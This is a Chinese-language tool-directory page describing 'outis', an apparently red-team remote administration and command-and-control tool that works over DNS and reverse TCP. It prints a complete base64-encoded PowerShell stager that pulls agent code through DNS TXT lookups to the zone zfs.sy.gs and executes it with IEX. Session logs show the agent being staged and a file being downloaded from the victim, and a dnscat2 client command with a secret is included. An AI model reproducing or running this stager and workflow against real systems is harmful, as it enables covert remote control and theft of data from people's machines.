Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
outis — outis 是一款自定义远程管理工具(RAT)或类似的东西。它被构建用于支持各种传输方法(如 DNS)和平台(如 Powershell)。 | Kitploit
工具/GitHubGitHub/syss-research/outis
Payload生成后渗透利用命令与控制红队远程访问工具DNS 分析
GitHubsyss-research/outis

outis

outis 是一款自定义远程管理工具(RAT)或类似的东西。它被构建用于支持各种传输方法(如 DNS)和平台(如 Powershell)。

查看仓库
12645248年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

outis

outis 是一款自定义远程管理工具(RAT)或类似的东西。可以把它想象成 Meterpreter 或 Empire-Agent。然而,这款工具的重点既不是利用工具包(它不包含任何漏洞利用程序),也不是对目标的持久管理。其核心在于通过各种方法和平台在服务器与目标系统之间进行通信,以及传输文件、共享套接字、生成 Shell 等。

关于名称

荷马史诗《奥德赛》中的独眼巨人波吕斐摩斯在名字解析方面遇到了一些问题。当他询问奥德修斯的名字时,这位黑客告诉他,自己的名字是“Outis”,在古希腊语中意为“没有人”。因此,当波吕斐摩斯后来大喊“没有人”要杀死他时,奇怪的是没有任何救援到来。

感谢 Marcel 让我想起这个绝妙的经典故事片段。

处理器的依赖项

Archlinux 用户可以安装以下软件包:

  • python3 # 包含 cmd、tempfile 等
  • python-progressbar2
  • python-dnspython
  • python-crypto
  • python-pyopenssl
  • 可能还需要更多……

在其他发行版中,名称可能有所不同,例如有一个名为 crypto 的模块和一个名为 pycrypto 的模块。我们需要的是后者。

此外,旧版本可能会引发问题:

  • pyopenssl 的版本必须是 16.1.0 或更高,可通过以下方式检查:
root@kitploit:~
   $ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

你可以相当轻松地设置一个 Python 虚拟环境:

root@kitploit:~
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl

这将生成以下包列表,它们在我这里可以正常工作:

root@kitploit:~
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0

安装

使用递归标志克隆此仓库,以同时克隆其第三方工具文件夹中的子模块:

root@kitploit:~
git clone --recursive ...

处理器运行在 Python 3 上。安装其依赖项并运行它。它将为你生成阶段程序、代理程序以及所有其他内容。

如需绑定低端口而无需 root 权限,可考虑使用能力包装器。

术语

  • agent (代理程序):在受害者系统上运行的软件
  • handler (处理器):解析你的命令并引导代理程序的软件(通常运行在你的服务器上)
  • stager (阶段程序):下载代理程序(通过传输模块)并运行它的短脚本
  • transport (传输方式):阶段程序/代理程序与处理器之间的通信通道,例如 ReverseTCP
  • platform (平台):阶段程序/代理脚本所使用的受害者架构,例如 PowerShell

当前支持的平台

  • PowerShell(部分支持)

当前支持的传输方式

  • Reverse TCP
  • DNS(阶段阶段使用 TXT 或 A 类型,代理连接使用 TXT、CNAME、MX、AAAA 或 A 类型)

当前支持的加密方式

  • 代理阶段可以使用循环 XOR 进行编码(用于混淆,而非安全)
  • 代理阶段可以使用 RSA 签名和固定证书进行身份验证
  • 传输连接可以使用 TLS 和固定证书进行加密/身份验证

当前支持的命令与控制

  • ping 请求以测试连接(部分支持)
  • 文本消息格式(部分支持)
  • 文件的上传与下载

当前支持的额外功能

  • 当使用 DNS 传输并配合 PowerShell 阶段程序时,你可以部署来自第三方工具目录的 dnscat2 / dnscat2-powershell 工具,而非默认的 outis 代理程序。将平台选项 AGENTTYPE 设置为 DNSCAT2(需要一些时间,但仅使用 DNS 进行阶段)或 DNSCAT2DOWNLOADER(尝试通过 HTTPS 下载)。

使用示例

使用 PowerShell 平台并通过阶段化 DNS 传输下载文件的过程如下所示:

root@kitploit:~
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name               Value       Required  Description                                                      
-----------------  ----------  --------  -----------------------------------------------------------------
TRANSPORT          DNS         True      Communication way between agent and handler (Options: REVERSETCP,
                                          DNS)
CHANNELENCRYPTION  TLS         True      Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM           POWERSHELL  True      Platform of agent code (Options: POWERSHELL)
PROGRESSBAR        TRUE        True      Display a progressbar for uploading / downloading? (only if not 
                                         debugging the relevant module) (Options: TRUE, FALSE)

[+] Options for the TRANSPORT module DNS:
Name       Value        Required  Description                                                             
---------  -----------  --------  ------------------------------------------------------------------------
ZONE       zfs.sy.gs    True      DNS Zone for handling requests
LHOST      0.0.0.0      True      Interface IP to listen on
LPORT      53           True      UDP-Port to listen on for DNS server
DNSTYPE    TXT          True      DNS type to use for the connection (stager only, the agent will 
                                  enumerate all supported types on its own) (Options: TXT, A)
DNSSERVER               False     IP address of DNS server to connect for all queries

[+] Options for the PLATFORM module POWERSHELL:
Name                  Value                       Required  Description                                   
--------------------  --------------------------  --------  ----------------------------------------------
STAGED                TRUE                        True      Is the communication setup staged or not? 
                                                            (Options: TRUE, FALSE)
STAGEENCODING         TRUE                        True      Should we send the staged agent in an encoded 
                                                            form (obscurity, not for security!) (Options: 
                                                            TRUE, FALSE)
STAGEAUTHENTICATION   TRUE                        True      Should the stager verify the agent code 
                                                            before executing (RSA signature verification 
                                                            with certificate pinning) (Options: TRUE, 
                                                            FALSE)
STAGECERTIFICATEFILE  $TOOLPATH/data/outis.pem    False     File path of a PEM with both RSA key and 
                                                            certificate to sign and verify staged agent 
                                                            with (you can generate a selfsigned cert by 
                                                            using the script gencert.sh initially)
AGENTTYPE             DEFAULT                     True      Defines which agent should be used (the 
                                                            default outis agent for this plattform, or 
                                                            some third party software we support) 
                                                            (Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT               9                           True      Number of seconds to wait for each request 
                                                            (currently only supported by DNS stagers)
RETRIES               2                           True      Retry each request for this number of times 
                                                            (currently only supported by DNS stagers)
AGENTDEBUG            TRUE                        True      Should the agent print and log debug messages 
                                                            (Options: TRUE, FALSE)
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
  ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
  BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
  UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
  8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
  ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
  B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
  LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
  AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
  AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
  BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
  YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
  8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
  ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
  AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
  aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
  IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
  AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
  BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
  VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
  UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
  AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent

outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
outis> exit

或者,我们可能想使用 dnscat2 来执行实际操作,而仅将 outis 用于阶段部署:

root@kitploit:~
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (406569 bytes)...
100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17
[+] Staging done
[+] Starting dnscat2 to handle the real connection

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = zfs.sy.gs]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]
  1 :: command (feynman-win7) [encrypted and verified] [*]
  
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Attempting to download c:/testfile.txt to /tmp/out.txt
Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!

command (feynman-win7) 1> exit
Input thread is over

灵感来源

此项目的灵感来源于(并厚颜无耻地借用了其部分代码):

  • Empire:

    • https://github.com/adaptivethreat/Empire/blob/master/lib/common/stagers.py — generate_launcher 使用 HTTP(S) 阶段程序
    • https://github.com/adaptivethreat/Empire/tree/master/data/agent — 阶段程序(初始启动器后的第二步)和代理程序(第三步)
    • https://github.com/EmpireProject/Empire/blob/master/lib/common/helpers.py — PowerShell 脚本生成与精简
  • Metasploit:

    • https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/cmdstager.rb — 用于 bourne 等的 CmdStager
  • ReflectiveDLLInjection:

    • https://github.com/stephenfewer/ReflectiveDLLInjection
  • p0wnedShell:

    • https://github.com/Cn33liz/p0wnedShell — 一些未来用于 AMSI 规避的思路
  • dnscat2:

    • https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md — 关于 DNS 协议设计的思路
    • https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1 — dnscat2 代理程序的 PowerShell 版本
  • dnsftp

    • https://github.com/breenmachine/dnsftp — 用于 DNS 阶段程序的简短脚本片段

免责声明

使用风险自负。未经所有相关人员完全同意,请勿使用。仅供教育目的。

下载工具